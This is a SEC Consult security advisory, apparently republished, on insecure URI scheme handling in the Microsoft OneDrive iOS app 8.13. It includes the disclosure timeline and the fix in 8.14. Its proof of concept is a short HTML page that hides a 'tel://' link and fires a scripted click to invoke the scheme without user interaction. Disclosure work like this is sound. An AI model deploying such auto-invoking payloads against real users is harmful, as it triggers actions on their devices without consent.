Microsoft OneDrive iOS App 8.13 Insecure URI Scheme Handling Vulnerability

2017-05-11
ID: 92824
CVE: None
Download vulnerable application: None
A short demo video is available here:
https://youtu.be/0jZdM9peVSk
  SEC Consult Vulnerability Lab Security Advisory < 20170510-0 >
=======================================================================
              title: Insecure Handling Of URI Schemes
            product: Microsoft OneDrive iOS App
 vulnerable version: 8.13
      fixed version: 8.14
             impact: Medium
           homepage: https://onedrive.live.com/
              found: 2017-04-10
                 by: S. Tripathy (Office Singapore)
                     SEC Consult Vulnerability Lab
                      An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
                     Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
                      https://www.sec-consult.com
 =======================================================================
 Vendor description:
-------------------
"Do more wherever you go with Microsoft OneDrive. Get to and share your
documents, photos, and other files from your iOS device, computer (PC or
Mac), and any other devices you use. Use the Office mobile apps to stay
productive and work together, no matter where you are. The OneDrive app
for iOS lets you easily work with your personal and work files when
you're on the go."
 Source:
https://itunes.apple.com/us/app/microsoft-onedrive-file-photo-cloud-storage/id477537958?mt=8
  Business recommendation:
------------------------
SEC Consult recommends to implement a proper validation to handle the URI
schemes. Always ask for user permission before calling an external URI scheme.
  Vulnerability overview/description:
-----------------------------------
1) Insecure Handling of URI Schemes
 Due to the lack of URI schemes validation any external URI scheme can be
invoked by the Microsoft OneDrive iOS application with out any user
interaction.
  Proof of concept:
-----------------
1) Insecure Handling of URI Schemes
 An attacker can upload and share a malicious HTML file to invoke an
external URI scheme. Once the file is accessed by any OneDrive user with
an iOS device, the external URI scheme will be invoked automatically.
 Example of a malicious HTML file:
 ============================================================================
<html>
<body>
<a id="callme" href="tel://1-xxx-xxx-xxx" style="display:none">click</a>
<script>
var t = document.getElementById("callme");
var fe = document.createEvent("MouseEvents");
fe.initEvent("click", true, true);
t.dispatchEvent(fe);
</script>
</body>
</html>
=============================================================================
  Vulnerable / tested versions:
-----------------------------
The following version is affected by the identified vulnerability which
was the most recent version at the time of discovery:
 Microsoft OneDrive iOS application v8.13
  Vendor contact timeline:
------------------------
2017-04-11: Contacting vendor through [email protected]
2017-04-12: Vendor confirmed the vulnerability.
2017-04-21: Vendor released the updated version.
2017-05-10: Public release of advisory.
  Solution:
---------
SEC Consult recommends to implement a proper validation to handle
the URI schemes. Always ask for user permission before calling a URI scheme.
 Update to OneDrive v8.14
https://itunes.apple.com/us/app/microsoft-onedrive-file-photo-cloud-storage/id477537958?mt=8
  Workaround:
-----------
None
  Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
1-4-2 (www02)